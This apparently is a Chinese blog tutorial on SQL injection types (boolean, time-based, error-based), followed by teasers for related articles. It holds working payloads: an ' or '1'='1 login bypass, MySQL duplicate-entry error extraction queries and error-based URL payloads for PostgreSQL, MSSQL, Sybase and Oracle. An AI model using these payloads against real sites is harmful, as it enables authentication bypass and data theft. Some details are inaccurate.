SQL注入小结

分类学习有利于条理化知识,大致的SQL注入分为三种:
1.BealeanBase
2.TimeBase
3.ErrorBase

1.从最简单的说起,基于布尔类型是最常见的SQL注入方式

select username, password from tb_admin where username= User and password = Pass;
这句话如果被运用的提取验证数据中,就会有布尔注入的漏洞具体如下
‘select username, password from tb_admin where username=‘+ User +‘and password =‘ + Pass;
看似上面出入的规范的用户名和密码都会有正确查询发生,并且都都是准确反映数据库的数据值的查询,但是如果我传入的参数如下

用户名输入:1‘ or ‘1‘=‘1
密码: 1‘ or ‘1‘=‘1

这样嵌入到原来的语句中就是‘select username, password from tb_admin where username=‘1‘ or ‘1‘=‘1‘ and password =‘1‘ or ‘1‘=‘1‘;

这样select 中就 or 了一个 永真式,这样select 返回的结果就是永真,进一步通过验证,然而事实上这种基于布尔的SQL注入越来越少了,因为
只有初学者才会这样做,但是这个原理还是要知道的。

注入原因:用户输入参数未经过验证,直接拼接入SQL查询,造成用户精心提交的数据被当作代码执行,进一步达到绕过验证的目的
解决办法:不要相信用户的任何输入,所有用户输入都要经过转义再使用

2.基于时间的注入:
这种办法就有点猥琐了,根据题目就知道这是要依据返回时间来判断执行结果的,但是如果网络状况不好那就不好判断了
就mysql 而言,涉及到的两个函数是sleep() 和 benchmark(), 但是后者占用CUP较高,所以不建议使用

Syntax:
SLEEP(duration)

Sleeps (pauses) for the number of seconds given by the duration
argument, then returns 0. If SLEEP() is interrupted, it returns 1. The
duration may have a fractional part given in microseconds.

看了sleep() 的语法就知道了,就是一个延时执行的效果

FIND_IN_SET(str,strlist)

Returns a value in the range of 1 to N if the string str is in the
string list strlist consisting of N substrings. A string list is a
string composed of substrings separated by "," characters. If the first
argument is a constant string and the second is a column of type SET,
the FIND_IN_SET() function is optimized to use bit arithmetic. Returns
0 if str is not in strlist or if strlist is the empty string. Returns
NULL if either argument is NULL. This function does not work properly
if the first argument contains a comma (",") character.

这个函数是在strlist中找str的过程,返回找到的个数

3.基于报错的盲注
就是通过网站显示的数据库等错误信息来进行逐步深入,当用二分查找得出一个32位哈希值的时候需要16×32=512次(十六进制的哈希字符,一共有16种可能),但是也有些
可以减少查询次数的方法,已知英语中字母出现次数的概率是:e,t,a,o,i,n,s,h,r,d,l,c,u,m,w,f,g,y,p,b,v,k,j,x,q,z
根据前后的顺序尝试然后再进行二分查找,这样的效率就高很多了

这个是基于复制入口点的报错
select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
/* SQL错误(1062):Duplicate entry ‘5.5.171‘ for key ‘group_key‘ */

如果关键表被禁用了,还有这样的错误可以触发:
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
/* SQL错误(1248):Every derived table must have its own alias */

如果是rand()等一些关键函数被禁用了,还可以这样:
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
/* SQL错误(1054):Unknown column ‘password‘ in ‘group statement‘ */

上面这些都是Mysql的数据库设计的问题,所以上面的语句不适用其他数据库。

在Mysql 5.1以及后面的版本都是新加了两个xml函数,可以拿来报错:
extractvalue(),updatexml()

而在其他数据库中也可以使用不同的方法构成报错
PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--
MSSQL: /?param=1 and(1)=convert(int,@@version)--
Sybase: /?param=1 and(1)=convert(int,@@version)--
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select
replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--

时间: 2024-10-21 06:44:47

SQL注入小结的相关文章

SQL注入解决思路(C#示例)

最近在编程中遇到一个SQL注入防护的问题.在这里顺便把SQL注入小结一下.以MYSQL(5.1)为例. 一.常规的SQL语句 观察SQL语句 SELECT * FROM [tableName] WHERE col1='value1' 这个语句由3个部分组成,SELECT子句筛选得到结果,FROM子句指定了筛选的范围,WHERE子句指定了条件.当在其中进行如下置换: SELECT * FROM [tableName] WHERE 1 之后,选出了[tableName]表中的全部内容.分析其语法不难

SQL注入原理小结

今天,一基友问我一个问题说:为什么SQL注入要加单引号,这个当时我一时也回答不上,怪就怪自己理论太菜,不过回去仔细思考了一下,觉得这个问题也是蛮简单的. 首先大家应该明白的一点就是SQL注入的目的:加单引号是为了让后台SQL语句执行的时候报错,这样,我们就可以初步判断单引号被放在SQL语句中执行了,只是执行的语句因为有单引号而出错了,这里我都有点啰嗦了,笑. 要防御这种单引号攻击,服务器有3种办法: 1.  将单引号过滤或者替换 – 一般程序都是这样做的 2.  将单引号转义 – 所谓转义就是让

防止sql注入的三种方法

常用的避免SQL注入的三种方法 一,存储过程 在学习数据库视频的时候接触过,它是存储在数据库中的一些事先编译好的指令.在用的时候不用重新编写,直接调用就好了.所以,使用它可以大大提高程序的执行效率. 那么,如果创建一个存储程序并使用它呢?这是我们今天要解决的问题 1.创建过程 可编程性--下拉菜单--存储过程--右键--查询菜单--指定模板参数的值--新建查询--输入语句--查询菜单中的分析检查语法是否正确--执行 2.具体创建语法 在创建存储程序时,为了应对各种变换的数据,通常会涉及到带参数的

避免SQL注入三大方法

要说SQL注入还要从看.NET视频开始说起,听说在程序开发过程中,我们经常会遇到SQL注入问题,也就是指令隐码攻击.具体的原理到底是怎么回事儿,查了些资料好像涉及到了编译原理,也没能够看明白,只是视频中讲到了这三种方法是经常用来避免SQL注入最常用的方法,于是查些资料希望能对现学的知识有一定的了解.下面是对这三种方法具体如何使用的一个简单的介绍. 一.存储程序 在学习数据库视频的时候接触过,它是存储在数据库中的一些事先编译好的指令.在用的时候不用重新编写,直接调用就好了.所以,使用它可以大大提高

深入了解SQL注入绕过waf和过滤机制

知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 0x05 本文小结 0x06 参考资料 0x00 前言 笔者前几天在做测试时输入攻击向量后页面发生了重定向甚至异常输入也是重定向怀疑其中有WAF在作怪.之前对WAF接触比较少纯粹是新手趁此科普了一下并查阅了一些绕过WAF的方法.所找到的资料中主要分为两类SQL注入和XSS绕过笔者SQL注入同样是新手

【转】深入理解SQL注入绕过WAF和过滤机制

原文 http://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.html [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 本文小结 0x6 参考资料 0x0 前言 促使本文产生最初的动机是前些天在做测试时一些攻击向量被WAF挡掉了,而且遇到异常输入直接发生重定向.之前对W

SQL注入经验总结

通过连接数据库的引擎判断数据库类型: Access:Microsoft JET Database Engine SQLServer:Microsoft OLE DB Provider for SQL Server   如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错. 有些程序员只过滤了单引号,所以只用单引号测试,是测不到注入点的,可以用下列语句测试: http://www.mytest.com/showdetail.asp?id=49 ;and 1=1 h

手把手叫你SQL注入攻防(PHP语法)

版权声明:https://github.com/wusuopubupt 闲话不说,直接来! 理论补充:1.http://blog.csdn.net/wusuopubupt/article/details/8752348 2.http://www.cnblogs.com/hkncd/archive/2012/03/31/2426274.html 1.什么是SQL注入,猛戳wikipedia查看 2.本地测试代码: 如果表单提交正确,就打印hello,“username” 否则,打印“404 not

深入理解SQL注入绕过WAF与过滤机制

知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 本文小结 0x6 参考资料 0x0 前言 促使本文产生最初的动机是前些天在做测试时一些攻击向量被WAF挡掉了,而且遇到异常输入直接发生重定向.之前对WAF并不太了解,因此趁此机会科普一下并查阅了一些绕过WAF的方法.网上关于绕过WAF有诸多文章,但是观察之后会发现大体上绕过WAF的方法就那八.九种,